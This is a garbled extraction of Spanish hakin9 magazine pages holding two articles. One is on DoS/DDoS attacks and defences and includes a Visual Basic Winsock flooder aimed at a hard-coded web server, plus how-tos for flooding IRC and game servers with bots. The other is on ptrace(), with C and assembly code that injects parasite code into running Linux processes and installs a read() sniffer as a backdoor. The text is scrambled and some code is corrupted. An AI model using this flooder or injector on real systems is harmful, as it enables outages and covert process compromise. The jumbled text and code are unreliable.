Respuesta Respuesta desde desde desde desde 192. Es decir. como ocurre con el caso del syn flood. Connection FlooD Lo que vemos en la pantalla es una respuesta mostrando la cantidad de bytes que se están enviando y el tiempo que se demoran dichos paquetes.168. Las conexiones van caducando por inactividad poco a poco.0. Todo servicio de Internet orientado a conexión (la mayoría) tiene un límite máximo en el número de conexiones simultaneas que puede tolerar. Así.1: Paquetes: enviados = 4. Toda red tiene lo que se denomina una dirección de broadcast. Es útil para diagnosticar los errores en redes o enrutadores IP: C:###BOT_TEXT###gt;ping 192. Al menos. Una vez que se alcanza ese límite.0.168. no preguntando máquina por máquina.1: 192. por ejemplo. D. Debido a ello la máquina atacada tiene constancia de la identidad real del atacante. Ello permite.0. INTERNET Hacker Múltiples subredes Router víctima Ataques DNS y de enrutamiento Figura 1. Haciendo ping a 192. lo que es lo mismo. -f Establecer el indicador No fragmentar en los paquetes. que una máquina localice un servidor proporcionando un servicio haciendo una pregunta a la red. no se admitirán conexiones nuevas. Los datagramas enviados a esa dirección son recibidos por todas las máquinas en la red local. por medio de los paquetes de solicitud de eco y de respuesta de eco (definidos en el protocolo de red ICMP) para determinar si un sistema IP específico es accesible en una red. Un ataque LAND se produce al enviar un paquete TCP/SYN falsificado con la dirección del servidor objetivo como si fuera la dirección origen y la dirección destino a la vez. Parar . por ejemplo.168. perdidos = 0 (0% perdidos).1: bytes=32 bytes=32 bytes=32 bytes=32 tiempo<1m tiempo<1m tiempo<1m tiempo<1m TTL=128 TTL=128 TTL=128 TTL=128 Listado 2.hakin9. El problema de la dirección broadcast es que suele estar disponible también para usuarios de fuera de la red local. posiblemente con un datagrama de mayor tamaño. pero el atacante sólo necesita intentar conexiones nuevas constantemente.168.1: 192.

problemas de validación en el FTPD Demonio telnet IRIX Buffer overflow en el demonio SSH Vulnerabilidades en el BIND Vulnerabilidades en el servicio linuxconf Ipop2d buffer overflow Qpopper buffer overflow y vulnerabilidades en IMAP Rpc. para proceder 26 www. mountd .hakin9. Los distintos tipos de ataques DDoS.statd buffer overflow en amd.2 ObjectServer 5135/TCP ATACANTE INTERNET ATAQUE DDOS Como ya hemos mencionado antes. Estructura de un ataque DDoS Un usuario ilegitimo. No puede modificarse o implementarse otro tipo de seguridad por el simple motivo de que Internet dejaría de funcionar. es decir mediante mas host remotos. crear una condición DoS. Estos ataques intentan convencer al servidor DNS. tienen defectos que debilitan su capacidad para resistir ataques. que el protocolo TCP/IP no tenga seguridad: ya que se diseñó para su empleo en una comunidad abierta y confiada y la versión que actualmente se usa tiene defectos inherentes y graves.Ataque pueda alterar las rutas correctas y. Las víctimas de estos ataques verán como su tráfico se dirige por ejemplo hacia un agujero negro: a una red que no existe. Ataques DDOS Los ataques DDoS son ataques DoS. o haciendo que el tiempo de espera sea elevado. falsificando su IP origen. busca con el ataques DDoS agotar los recursos de una aplicación o tomar este como un ataque secundario. para almacenar direcciones falsas: cuando un servidor DNS realiza una búsqueda el atacante puede redireccionar a su propio servidor o bien a un agujero negro. aumentado de esta forma el tiempo de respuesta. Lista de puertos usados generalmente para el ataque DoS y sus correspondientes fallas Servicio Ftp Puerto/Protocolo 21/TCP Vulnerabilidad Wu-ftpd “site-exec” .3 y 6. pero distribuidos. colapsar un servicio simulando conexiones de miles de usuarios a la vez. ORGANIZACION ATACADA Estructurando un ataque DDoS Figura 2. Telnet Ssh Domain LinuxConf Pop2 Pop3 23/TCP 22/TCP 53/UPD 98/TCP 109/TCP 110/TCP Analizando los ataques (DDoS) Runrpc 111/TCP Netbios-ns Netbios-dgm Netbios-ssn Imap 137/UPD 138/UPD 139/TCP 143TCP Buffer overflow en algunas implementaciones IMAP Vulnerabilidad en Objectserver IRIX 5. generando así una gran cantidad de tráfico que como consecuencia del gran consumo de ancho de banda (bandwicht) agota los recursos de una aplicación/servidor.por ejemplo. FTP bounce. Algunas de las causas que hacen que el DDoS sea un ataque tan extendido es. Los ataques DoS sobre servidores de nombres de dominios (DNS) Tabla 1.org . rpc. sobre un único objetivo.cmsd. por ejemplo. estos tipos de ataques se basan en coordinar una serie de host conectados a Internet de tal forma que concentren su ataque simultáneamente y desde diferentes lugares. Recursos de windows no protegidos son tan problemáticos como los anteriores. como por ejemplo. Igualmente muchas implementaciones del TCP/IP en sistemas operativos e incluso dispositivos físicos de red.

una aplicación la cual le va a permitir realizar este tipos de ataques. Ahora iremos por partes.hakin9. y que permitiría localizar y solucionar el problema con una gran rapidez. De esta forma evitamos ser empleados como multiplicadores durante un ataque smurf.Los Ataques DDoS a vulnerar otro sistema. Ahora que ya tenemos una pequeña idea de como vamos a trabajar empecemos a tocar el Visual Basic.203. el archivo log del servidor Jul Jul Jul Jul Jul Jul Jul Jul Jul Jul Jul Jul Jul Jul 14 14 14 14 14 14 14 14 14 14 14 14 14 14 13:05:30 13:05:30 13:05:36 13:05:36 13:05:39 13:05:39 13:05:45 13:05:45 13:05:50 13:05:50 13:05:56 13:05:56 13:05:59 13:05:59 lang lang lang lang lang lang lang lang lang lang lang lang lang lang kernel:NET: 1594 messeges suppressed. y así gastar todo tu bandwicht.161/3568 Recalco que los nombres de los comandos deben de ser los que vienen por defecto. DOSPageCount 5 Estructurando una defensa contra un DDoS Un ataque de DDoS hacia tu web puede ser letal para colapsar el servidor. y otros tipos de bichos que principalmente busca en el sistema un puerta por la cual acceder. El ataque consistirá en sobrecargar el servidor de la Web mediante una conexión TCP/IP para asi colapsarlo y provocar un DoS.161/3040 kernel:NET: 548 messeges suppressed.14.logs. 1 label. troyanos. Disminuir el timeout. www.c> DOSHashTableSize 3097 DOSPageCount 5 DOSSiteCount 100 DOSPageInterval 2 DOSSiteInterval 2 DOSBlockingPeriod 600 </IfModule> etc. se concentra en gastar su ancho de banda. Para evitar esto debemos llevar una política de seguridad estricta. No tener proxies abiertos a todo Internet: algunos administradores tienen sus proxies. para C++ es la misma. El primer paso que busca el atacante. a analizar posibles subidas anormales de trafico analizado los archivos. al no poder realizar nada. es infectar al mayor numero de víctimas (lo que significa mas host remotos) posible.172. kernel:TCP drop open request from 81. El ataque de un DDoS contra un servidor. abiertos a todo el mundo.212. tantos como la web tenga abiertos.102/2119 kernel: 421 messeges suppressed. para ello vamos Si la ip. Esto permite que cualquier usuario de Internet pueda atacar cualquier sistema responsabilizando a esa red intermedia mal administrada. Filtrar el tráfico IP spoof : esto es algo que todo carrier o backbone debería hacer.228. deteniendo el floodeo que provenía por parte de esa dirección: No permitir el tráfico broadcast desde fuera de nuestra red. Bien. kernel:TCP drop open request from 81.27/1116 kernel:NET: 970 messeges suppressed. Ahora que lo tenemos agregado vamos a empezar a codear. open sesame. el atacante instala en las máquinas remotas. Teoría de como hacer un DoS a una Web. primero pondré el código y luego lo explicaré. kernel:TCP drop open request from 81. SQUIDs. SOCKS.org 27 . primero las declaraciones globales: Dim Host As String Dim Puerto As String Como vemos declaramos dos cadenas (Strings).38. Aumentar backlog. Podemos soportar el ataque de varias ips (proveniente de varios host remotos) pero ¿qué pasa cuando un Botnet de más de 5000 zombis ataca nuestro servidor?. kernel:TCP drop open request from 20. kernel:TCP drop open request from 81.237. se configura para servidores Apache veamos una configuración básica: <IfModule mod_evasive. kernel:TCP drop open request from 86.38.102/4005 kernel:891 messeges suppressed. esta será banneada desde el servidor. wingates. Listado de un ataque DDoS. Por eso la defensa empieza en los principales proveedores y los ISP. recarga 100 páginas a menos de 2 páginas por segundo.172. estos filtros evitan que un atacante se pueda hacer pasar por otro usuario.102/2478 kernel:379 messeges suppressed. Una vez el sistema infectado. y colapsarlo. kernel:TCP drop open request from 81. En este ejemplo siempre trabajaremos por el puerto 80. La estructura de un ataque conjunto DoS. estaríamos indefensos y perplejos sintiéndonos impotentes. • • • • Afinamiento en TCP/IP. Listado 3. Lo que tenemos que agregar sea lo siguiente: • • • 2 CommandButton. es casi siempre la misma. Instalación de módulos de seguridad (en nuestro caso el mod_evasive) un modulo destinado a intentar mitigar el DDoS. Vamos a ver unos métodos de defensa de un servidor (tomándolo como referencia). sin ser conscientes de ello. lo que le producirá una red botnet (como ya hemos tratados en artículos anteriores). 1 timer. En pocas palabras. Un usuario consigue la implantación de estos en miles de máquinas.203.228. esto se conseguía mediante worms.228. una que contendrá la IP de la pagina web y la otra el puerto a atacar. Para hacer una conexión TCP/IP se tendrá que agregar el control Winsock que usa la dll WS2_32. aunque se puede conectar a otros.83/3876 kernel:NET: 633 messeges suppressed.203.167. puesto que presupongo que hay personas de los que lean este texto no saben Visual Basic voy a explicar que el código.

10.Close es obligatorio ponerlo. Evidentemente todo depende del número de Bots que programemos. que es el más importante: Private Sub Timer1_Timer() On Error Resume Next Winsock1. si el protocolo interno no es el mismo que el establecido se ignoraran las peticiones por parte del servidor. Normalmente se suelen programar con un Array de sockets. Teoría sobre como hacer un DoS en un servidor de IRC Aquí vemos que cuando cargue introduciremos dentro de la variable Host la IP del Website y en Puerto el puerto por el cual conectaremos. Cabe destacar que la frase que hay dentro de las comillas se puede substituir por la que queráis. por lo tanto es imposible hacer un ataque de IP Spoofing. Teoría de como hacer un DoS en un servidor de juegos Teoría sobre como hacer un DoS en un servidor mediante un Worm Otra manera de hacer un DoS es mediante un Gusano. Bien. con ponerlo unas 5 veces ya vale. están programados para ello. esta frase es la que envía el cliente al Servidor para identificarse. el servidor nos enviara otra frase distinta y al final de todo. En el evento Error del Winsock podemos poner un MessageBox que nos avise de que la conexión a fallado. un código (un numero o una frase). ya que es bastante útil para esto.hakin9. para aumentar así el consumo de ancho de Banda. que tiene que procesar los datos que le enviamos.Ataque Bien. El Winsock1. una avalancha de peticiones para un solo servidor al mismo tiempo. ahora veremos el código que tiene que ir dentro del Timer. Bien.1 (lcalhost) y de puerto ponemos el puerto que habíamos puesto en el netcat. y estos realizaran una petición a al vez al servidor.Connect conectamos al servidor y con el siguiente comando (Winsock1. En las propiedades tenéis que poner en el Intervalo del Timer el nº 1. En el Evento Conect del Winsock podemos copiar unas cuantas veces el Comando Winsock1. aunque es recomendable no abusar.Close Winsock1. así que con esto si hay algún error lo omitirá y no nos cerrará el programa. en la IP ponemos 127. esto aumentara más aun el ancho de banda consumido. Aquí esta el problema para hacer un IP Spoofing (2). las conexiones nuestras y la de los otros visitantes y esto provoca el colapso del Servidor.000 Pc's. si no nos hemos equivocado en la pantalla del Netcat saldrá una frase.SendData'' YYYYYYYYYYYYYYYY YYYYYYYYYYY YYYYYYYYY'' End Sub Primero. Bien.0. Estos juegos suelen utilizar el protocolo UDP. con el On Error Resume Next evitamos que si se produce un error nos cierre el programa. esto probablemente produciría una sobrecarga de recursos en Ahora vamos con el DoS mas complicados de hacer que estén en los que e explicado. luego. para ver el protocolo que utiliza el Juego vamos a hacer que el cliente del servidor se conecte a nosotros mismos para ver las cabeceras del protocolo. Como aquí se pretende ayudar a todo el mundo les diré que estos ataques se pueden parar configurando correctamente las IPTables.23'' Puerto = ''80'' End Sub recomendable para saber el estado de la conexión. el servidor para procesar todos los mensajes y podría desde sacar a todos los usuarios del IRC del Canal a provocar un DoS en el servidor. Ahora pasemos al código del Formulario en el evento Load (es decir. para volver a conectar se tiene que cerrar primero el socket. ahora con el Winsock1.125. es decir.org .Connect Winsock1. ahora verán porque. Supongamos que el gusano a infectado a 10. cuando el formulario se cargue): Private Sub Form_Load() Host = ''64. Con ello se puede conseguir desde inundar un Canal haciendo hablar a todos los bots a la vez.SendData y la frase que le persigue. pero si es Lo que se tiene que hacer para colapsar un servidor de IRC es conectarse a el mediante Bots. esta es solo de ejemplo. ya que esto indica que lo que hay dentro del Timer1 se va a repetir cada milésima de segundo. Si el ancho de banda del servidor es pequeño el efecto seria como un Tsunami. Y bueno. Ponemos en escucha el netcat en un puerto aleatorio (el que queramos) y luego en el Cliente establecemos que se conecte al netcat.0. esto no es obligatorio. si todo funciona bien. Ahora cogemos Visual Basic y con el Winsock programamos un programa que se conecte al Servidor enviándole la frase que habíamos sacado del Netcat.SendData) le enviamos varios caracteres. ya que el atacante no recibe los paquetes enviados desde el Servidor a la IP spoofeada. ya que si estamos en un bucle. con este comando tan simple ya nos valdría para hacer un DoS a un Website que no tenga mucho ancho de banda. para sacar el protocolo podemos usar el Netcat. lo que suelen hacer los gusanos que hacen DoS a websites es que a una determinada hora envían todos una petición a un Servidor. aunque esto no solo afecta al ancho de banda. que cada uno trabaja independientemente. ¿que son Bots? Pues son programas que se conectan a un canal de IRC automáticamente. sino que afecta al propio procesador del Servidor. el server solo responde a un tipo de respuestas que solo conoce el cliente y el servidor. 28 www.

la rápida intervención de los medios provisto. Un socket se define como el punto final en una conexión. Esto se consigue generalmente gracias a programas destinados a ello y puede ser usado para cualquier protocolo dentro de TCP/IP como ICMP. programa del cliente y un programa del servidor en una red. Para poder realizar IP SPOOFING en sesiones TCP. combinando una dirección IP (la dirección numérica única de cuatro partes que identifica a un ordenador particular en Internet) y un número de puerto (el número que identifica una aplicación de Internet particular. En general se usa el termino SPOOFING.com/swat/news/ddos. UDP o TCP.html – Información y prevención de riesgos. Por ejemplo si enviamos un ping (paquete icmp echo request) spoofeado.hakin9. los ataques a importantes ofertas de Internet como Yahoo! O eBay ofrecieron un fuerte tirón a la cotización de las empresas de la competencia. Como hemos visto a lo largo del artículo los ataques de denegación de servicio.ackstorm. Sobre los Autores Jaime Gutierrez es un joven. Sin embargo.wikipedia. l www. o WWW). y en especial el estudio de métodos de ataques contra aplicaciones en red. de las que el atacante no puede esperar obtener nada a cambio como el acceso a un servidor. que al haber tantos bots hablando a la misma vez pasara que el servidor sacara a todos los usuarios del juego fuera.org/wiki/Denial-of-service_attack – Denial OF Servicie Atacck. http://www. De esta forma.es/security _analisis_dos. lo que sucederá sera igual que lo que pasa en el servidor del IRC.org 29 . que se interesa por la seguridad informática en general. datos. esta vez conectaremos el Cliente del juego a nuestro programa y al recibir los datos le enviaremos lo que el servidor nos a enviado. interesado por la seguridad Web y la Criptografía. Mateu Llull es un joven programador en varios lenguajes.axent. En sus ratos libres se los pasa programando aplicaciones en Java. como falseo de cualquier terminología. o otro tipo de beneficio. http://en. El estudio de un plan a medida de seguridad. Ayudan a minimizar y detectar precozmente este tipo de ataques. Ahora ya al enviar esto al servidor desde nuestra aplicación podremos entrar como si fuésemos un Cliente del Quake normal. Si lo hacemos bien veremos que el servidor nos da otra frase.cfm – Ataques DDoS. Bien. como por ejemplo: MAC SPOOFING (falseo de una dirección mac) EMAIL SPOOFING (falseo de un e-mail). Hay que tener en cuenta que las respuestas del host que reciba los paquetes irán dirigidas a la IP falsificada. es un método para la comunicación entre un En la Red • • • http://www2.Los Ataques DDoS IP spoofing IP SPOOFING: Es la suplantación de IP. es decir. Consiste básicamente en sustituir la dirección IP origen de un paquete TCP/IP por otra dirección IP a la cual se desea suplantar. Puede que todo fuese obra de un CRACKER con un depósito de acciones. Este tipo de spooofing unido al uso de peticiones broadcast a diferentes redes es usado en un tipo de ataque de flood conocido como smurf ataque. la respuesta será recibida por el host al que pertenece la IP legalmente. se debe tener en cuenta el comportamiento de dicho protocolo con el envío de paquetes SYN y ACK con su ISN específico y teniendo en cuenta que el propietario real de la IP podría (si no se le impide de alguna manera) cortar la conexión en cualquier momento al recibir paquetes sin haberlos solicitado. Un socket también puede ser una dirección de Internet. Ahora que sabemos como diseñar un Bot para el juego lo que podemos hacer es crear mas bots con un array de Sockets(3). Gopher. ahora otra vez con el Visual Basic ponemos un puerto a la escucha con el Winsock. como FTP. en la cual se puede ver el nick del Jugador (en el caso del juego Quake III) y demás configuraciones. application programming interface). el continuo análisis de la red. se han convertido en un medio deseado para atacantes. Tras finalizar los ataques se recuperaron rápidamente las cotizaciones. Estos temas son tratados como secundarios. Los sockets se crean y se utilizan con un sistema de peticiones o de llamadas de función a veces llamados interfaz de programación de aplicación de sockets (API. Conclusión ¿Qué es un socket? Un socket (enchufe). También hay que tener en cuenta que los routers actuales no admiten el envío de paquetes con IP origen no perteneciente a una de las redes que administra (los paquetes spoofeados no sobrepasarán el router). estiman poca atención a los administradores y profesionales. pero debemos tenerlos muy presentes a la hora de estructurar una política de seguridad. En un principio los ataques DoS son medidas de sabotajes. Pasas sus ratos programado aplicaciones orientada a la seguridad en redes. debido a que su ejecución no es un proceso complicado. el pasado más reciente ha demostrado que los ataques DoS si pueden traer beneficios.

La llamada del sistema ptrace() suministra un remedio con el cual un proceso padre puede observar y controlar la ejecución de otros procesos y examinar y cambiar su imagen núcleo En este artículo aprenderás. No sería gracioso si pudiéramos situar backdoors de cualquier tamaño en la memoria de cualquier proceso y cambiar su flujo de ejecución incluso con un parche de pila no ejecutable? Luego.. Hay algunos códigos por debajo que no están descubiertos todavía hasta hoy en día (10. sigue leyendo y te demostraré detalladamente como hacerlo. backdoors y otras aplicaciones. La función ptrace() explicada La función ptrace() es muy útil para depuramiento. La compilación es siempre la salida de gcc file.3.. N os ocuparemos más detalladamente sobre la función ptrace() y aprenderemos cómo escribir nuestros propios backdoors.2006) y no hay buenos documentos que describen este tópico – así os explico esta técnica. así tomando control de los procesos en operación. ya que esto siempre ha sido bueno para aprender cosas nuevas.c -o en adelante.hakin9.org . En caso de que sepas ptrace(). Debes saber que usé las siguientes versiones gcc: gcc version 3. • Debes saber sobre el entorno de Linux environment así como tener conocimiento avanzado de C y básico de Intel/AT&T ASM.Función de sobrescritura usando ptrace() Ataque Stefan Klaas Grado de dificultad En primer lugar debo decir que todo este texto es especial para Linux y la programación ANSI C y se requiere algún conocimiento de ASM. Lo que deberías saber. • • Como entender ptrace() Systemcall. Esto debería ser obvio para todo el mundo. En el pasado había diferentes procesos de las técnicas de inyección que incluían ptrace().5 (Debian) gcc version 3.3. Hace mucho que no vimos ninguna función pública de sobrescribir el código flotante. no necesitas ninguna bandera especial de compilador y por eso no 30 www.. empezamos. Como emplearlo para alterar el flujo de ejecución de los programas en operación al inyectar tus propias instrucciones en la memoria de procesos. Es suficiente por el momento.. Se empela para trazar procesos. este artículo debe ser muy interesante para ti.5 (SUSE Linux) vas a proveer ejemplos de compilación. un poco público así como unos exploits privados.

%eax\n"). Cuando el padre termine el trazado. * esto es solamente un ejemplo */ asm("\n" "movl $1. %eax\n" "movl $31337. el hijo parará cada vez cuando se entregue una señal. todas las llamadas siguientes a exec por este proceso harán que SIGTRAP se enviará a él. También. Entonces el padre hace que el hijo continúe. ofreciendo al padre la oportunidad de ganar el control antes de que el nuevo programa empiece la ejecución. char *argv[]) { int parasize. esto puede terminar el hijo con PTRACE_KILL o hacer que esto continúe ejecutando en el modo normal. pid. PARA_SIZE()). */ char *GetParasite(void) /* localiza parásito */ { asm("call me2\n" "me2:\n" "popl %eax\n" "subl $(me2 . Listado 1a. %ebx\n" "int $0x80\n" "\n"). El valor del pedido determina la acción que ha de efectuarse: • PTRACE_TRACEME – indica que este proceso está a trazar por su hijo. y los datos son ignorados). pid especifica el proceso de hijo para seguirlo. El padre se enterará en su siguiente espera y puede inspeccionar y modificar al proceso de hijo cuando está parado. } asm("MY_END:"). En las siguientes demandas. 0) < 0) /* conecta al proceso */ { www.h> #include <errno. Cualquier señal (con excepción de SIGKILL) suministrada a este proceso hará que se pare y su padre será informado vía la espera. el proceso hijo debe estar parado.h> #include <sys/stat. Alternativamente. /* la carga útil de parásito termina aquí.h> #include <signal. exit(1). 0.h> #include <unistd..me).h> #include <linux/ptrace. int i.hakin9. if (ptrace(PTRACE_ATTACH. GetParasite(). 0. Sobre todo se emplea para implementar el depuramiento del punto de rotura (breakpoint) y el trazado de la llamada del sistema. el resto se usa solamente por el padre.h> #include <stdlib. seguido (típicamente) de un exec. if (argv[1] == 0) { printf("[usage: %s [pid] ]\n\n". /* construyendo el código de inyección */ { memset(&inject.Escribe tu propio backdoor y registros. %eax\n" "\n"). La demanda mencionada emplea solamente por el proceso hijo. } pid = atoi(argv[1]). /* coge el tama?o del parásito */ } int main(int argc. /* calculamos el tama?o */ cuando ((parasize % 4) != 0) parasize++. Simple inyector ptrace() #include <stdio. parasize = PARA_SIZE(). /* para marcar el inicio del código parásito */ char *getstring(void) { asm("call me\n" "me:\n" "popl %eax\n" "addl $(MY_END . incluso cuando la señal se ignore (la excepción es SIGKILL que tiene su efecto usual). ignorando opcionalmente la señal suministrada (o incluso al suministrar en su vez una señal diferente). a. } void para_main(void) { /* el código principal de parásito viene aquí * incluye lo que quieras . A las demandas diferentes de PTRACE_KILL.MY_BEGIN). printf("\n[Example Ptrace Injector]\n"). %eax\n"). addr.h> #include <sys/wait. no trazado vía PTRACE_DETACH. Al ser trazado. char inject[8000]. argv[0]). pid.org 31 . struct user_regs_struct reg. memcpy(inject.h> #include <asm/unistd. sizeof(inject)).h> #include <asm/user.h> asm("MY_BEGIN:\n" "llama para_main\n"). el padre puede empezar la huella del proceso existente empleando PTRACE_ATTACH. } int PARA_SIZE(void) { asm("movl $(MY_END-MY_BEGIN). El padre puede iniciar la huella al llamar la horquilla y teniendo el hijo resultante haciendo PTRACE_TRACEME. El proceso probablemente no debería hacer esta demanda cuando su padre no espera a trazarlo (pid.

PTRACE_POKETEXT.%ecx # data movl $0x10(%esp). PTRACE_ SETFPREGS – copia el objetivo general de hijo o de los registros del punto flotante. exit(0). Como arriba.detach. ptrace(PTRACE_CONT.%ebx # fd movl $0xc(%esp). pid. for (i = 0. pid. algunas modificaciones del área de USER están rechazadas. NULL. PTRACE_GETREGS. Para mantener la integridad del kernel.org . para localizar los datos en el padre. pid. 4). printf("+ el proceso ha parado.hakin9. el padre puede controlar cualquier señal enviada al hijo 32 www. datos en 0xc(%esp) y tama?o en 0x10(%esp) asm(" movl $4. memcpy(&dw. SIGSTOP). /* para el proceso */ waitpid(pid. exit(1).here we got our read() • Listado 3. PTRACE_PEEKUSR – lee la palabra en offset addr en el +area del USER de hijo. Como para PTRACE_POKEUSER. algunas modificaciones de registros de objetivos generales pueden están rechazados (addr se ignora).. i < parasize. reg. se interpreta como una señal que se suministra al hijo. PTRACE_POKEUSR – copia los datos de palabras para equilibrar addr en el área USER de hijo. strerror(errno)).%eax # original syscall movl $0x8(%esp). 0.\n"). pid. Típicamente el offset deben ser palabras ordenadas. } printf("+ El parásito está en: 0x%x \n". pid). PTRACE_POKEDATA – copia las palabras en la localización addr en la memoria de hijos.. \n"). las dos demandas son actualmente equivalentes. PTRACE_CONT – reinicia le parado proceso de hijo. respectivamente. /* reinicia el proceso de hijo */ ptrace(PTRACE_DETACH. ptrace(PTRACE_POKETEXT.h > y <sys/user. pid. no se suministra ninguna señal. /* recoge la información de registro */ printf(". para localizar los datos en el padre. Consulta <linux/user. // deberías hacer la copia de seguridad %eax y volver al final // ¡no pongas la instrucción de devolución al final! ") • estas dos demandas actualmente equivalen (los datos de argumento son ignorados). por lo tanto • } printf("cant attach to pid %d: %s\n". respectivamente. kill(pid. &reg). que mantiene los registros y otra información sobre el proceso (ver <linux/user. } printf("+ conectado al id de proceso: %d\n". \n"). printf(". Cuando la fecha es diferente de cero y no SIGSTOP. } • • • Listado 2.\n"). char *data. en caso contrario. 0. por ejemplo. Simple inyector ptrace() la palabra como resultado de la llamada ptrace().calculando el tamaño de inyección de parásito. Sys_write example int patched_syscall(int fd.Linux no tiene texto separado y espacios de dirección de datos. printf(". /* desconecta del proceso */ printf("+ finished!\n\n").. PTRACE_SETREGS. Como arriba. La palabra se devuelve como resultado de la llamada ptrace(). 0).eip + i. i += 4) /* mete el código de parásito en %eip */ { int dw.enviando la señal de parada. reg.Ataque • PTRACE_PEEKTEXT. 0. el equilibrio debe estar típicamente bien ordenado. PTRACE_GETFPREGS – copia el objetivo general de hijo o de los registros del punto flotante. el descriptor localizado // at 0x8(%esp).%edx # size "int $0x80\n" // después de la llamada de la interrupción el valor de devolución reside en %eax // cuando quieres añadir algún código después del original syscall. aunque esto puede variar por arquitectura (los datos son ignorados). ptrace(PTRACE_GETREGS. PTRACE_PEEKDATA – lee la palabra en la localización addr en la memoria de hijo. int size) { // recogemos los parámetros de la pila. Así. dw). inject + i.h >). 0). Una ojeada en la Tabla GOT [root@hal /root]# objdump 08086b5c R_386_GLOB_DAT 08086bd0 R_386_GLOB_DAT 08086c0c R_386_GLOB_DAT 080869b0 R_386_JUMP_SLOT 08086b24 R_386_JUMP_SLOT 08086b30 R_386_JUMP_SLOT [root@hal /root]# -R /usr/sbin/httpd |grep read ap_server_post_read_config ap_server_pre_read_config ap_threads_per_child fread readdir read <-.h > para la información sobre el formato de estos datos (se ignora addr). devolviendo Listado 1b. WUNTRACED).eip).

&regb. PTRACE_ATTACH – adjunta al proceso especificado en pid. &reg.8lx\n". printf("¡asignación dinámica completada! \n". y los efectos de PTRACE_TRACEME. 0). el comportamiento del hijo es como si hiciera PTRACE_TRACEME. 0. parado hasta recibir la señal). • • Listado 4. reg.pid. Hay unos programas interesantes/usuales en Internet y puedes querer entrar en Google para ver aplicaciones en acción. Así pues. PTRACE_SINGLESTEP – reinicia el hijo parado como para PTRACE_CONT.: 0x%. El hijo es enviado a SIGSTOP.\n"). pero no necesariamente estará parado por la completación de esta llamada. pero arregla que el hijo esté parado en la siguiente entrada o bien para salir desde la llamada del sistema o bien después de la ejecución de una simple instrucción. pid. pid. ptrace(PTRACE_SYSCALL. 0). i += 4.org 33 .. &regb). 0). pid. pid. 0. ptrace(PTRACE_SYSCALL. Puede ser muy manuable. 0. respectivamente. printf("nueva región de la memoria asignada a. la idea es inspeccionar los argumentos a la llamada del sistema en la primera parada. Desde la perspectiva del padre. pero primero desconecta del proceso.%al addl $45. Te demostraré otros empleos en este artículo. luego al otro PTRACE_SYSCALL e inspeccionar el valor de devolución de la llamada del sistema en la segunda parada (addr se ingora). PTRACE_SYSCALL. &reg. El proceso actual se hace el padre del proceso hijo para la mayoría de objetivos (por ejemplo. &reg). reg. bajo Linux el hijo encontrado puede estar desconectado de esta forma a pesar del método que fue empleado para iniciar a dibujar (addr se ignora).eip = (long) start + 2. &regb). pid.%eax # mmap() int $128 ret "). ptrace(PTRACE_POKETEXT.Escribe tu propio backdoor • cuando suministrada o no (addr se ignora). ptrace(PTRACE_DETACH. convirtiéndolo en hijo trazado del proceso actual. } printf("tratando de asignar la memoria \n").eip). PTRACE_KILL – envía al hijo SIGKILL para terminarlo (addr y los datos se ignoran). return reg. PTRACE_DETACH – reinicia el hijo parado como para PTRACE_ CONT. Ahora. pid.ptr. Ejemplo de lo que necesitas para la función infect_code() ptrace(PTRACE_GETREGS. pero getppid(2) por el hijo devolverá el pid por el padre original. reg. (el hijo estará. &reg).. Usos prácticos para la llamada ptrace() Normalmente.(int) *(int *)(sh_code+i)). pues # cuando necesites más entonces calcula el nuevo tamaño. para PTRACE_SYSCALL. parecerá que el hijo ha sido parado por la recepción de un SIGTRAP. recibirá la notificación de los acontecimientos hijos y aparece en la salida ps(1) como el padre del hijo). reg. ptr = start = reg. A pesar de no tener intención. pid. no debes entender todo ello. reg. El código del inyector se encuentra en la Internet para asignar la memoria necesitada void infect_code() { asm(" xorl %eax. ptrace(PTRACE_GETREGS. ptr += 4.eax. printf("haciendo la copia de seguridad de registros. pid.%eax push %eax # offset = 0 pushl $-1 # no fd push $0x22 # MAP_PRIVATE|MAP_ANONYMOUS pushl $3 # PROT_READ|PROT_WRITE push $0x55 # mmap() asigna 1000 bytes por defecto. atrasando el efecto de PTRACE_ATTACH.esp -= 4. ptrace(PTRACE_SYSCALL. por ejemplo. 0.%ebx movb $45. &reg). ptrace(PTRACE_SETREGS. while(i < strlen(sh_code)) { ptrace(PTRACE_POKETEXT. 0. 0).esp.esp .hakin9. ptrace() es empleado para trazar procesos para objetivos de depuramiento. pid.1024. 0). pid. no te preocupes. como siempre. pushl %eax # start addr = 0 movl %esp. pid. ptrace(PTRACE_GETREGS. ¿Qué son los parásitos? Los parásitos son códigos que no se replican por si mismos y que se inyectan en los programas vía la www.eax). } • Listado 5. &regb. Los programas strace y ltrace dependen de la llamada ptrace() para trazar del proceso de ejecución. usa wait para esperar hasta que el hijo se pare (addr y los datos se ignoran). ptrace(PTRACE_SETREGS. &reg. pid). ptrace(PTRACE_SYSCALL..

2. Un parásito inyectado con ptrace() reside solamente en la memoria. Inyección clásica ptrace() Este gusano permite a ptrace() unos procesos clonados. 34 www. por lo tanto cuando el proceso reciba. %ebx # LOGFILE movl $0x442. + finalizado! server:~# Ahora en otro terminal (B). esta vulnerabilidad aprovecha las condiciones de carrera en los kernels de Linux 2. Adjunto el código exploit de las Pruebas de Concepto para esta vulnerabilidad (ver Listado 9a y 9b).%ecx # ecx: data movl 16(%esp). pero muchos administradores no aplicaron los parches. Bueno. %eax movb $3.c -W server:~# nc -lp 1111 & [1] 7314 server:~# . pienso de una pequeña inyección y finalmente nuestro primer código ejemplar podría ser buenas. permitiendo tomar control sobre los archivos binarios privilegiados. %edx # read's ret value. Un problema similar existe en 2. %eax # return edi jmp DONE DO: call DONT . trazamos el proceso Netcat: gw1:~# strace -p 7314 El proceso 7314 conectado . Linux kernels antes de 2.ascii ###BOT_TEXT###quot;"LOGFILE"###BOT_TEXT###quot; ..interrumpe para salir accept(3. %edi # store return value in %edi movl $5. calculando el tama?o de inyección de parásito. %edx # Permission 0777 int $0x80 movl %eax.. %ecx # O_CREAT|O_APPEND|O_WRONLY movl $0x1ff. Al prever el proceso de hijo sleep() dentro de execve(). Desde que es capaz de cambiar los registros de otro proceso. el atacante puede emplear ptrace() o mecanismo similar para tomar control del proceso de hijo.byte 0x00 DONE: "). La diferencia más importante aquí es que la inyección ptrace() no es residente mientras que la infección ELF infectará un binario más bien como virus y será residente incluso después del reinicio. a veces es obvio por qué pueden ser empleado para aprovecharse de algo. Permite probarlo en nuestra terminal (A): server:~# gcc ptrace. %eax # call open() movl %esi. Ejemplo de read() sniffer #define LOGFILE "/tmp/read.4x – la condición de carrera en kernel/kmod.Ataque inyección ELF o directamente en la memoria del proceso en el modo de 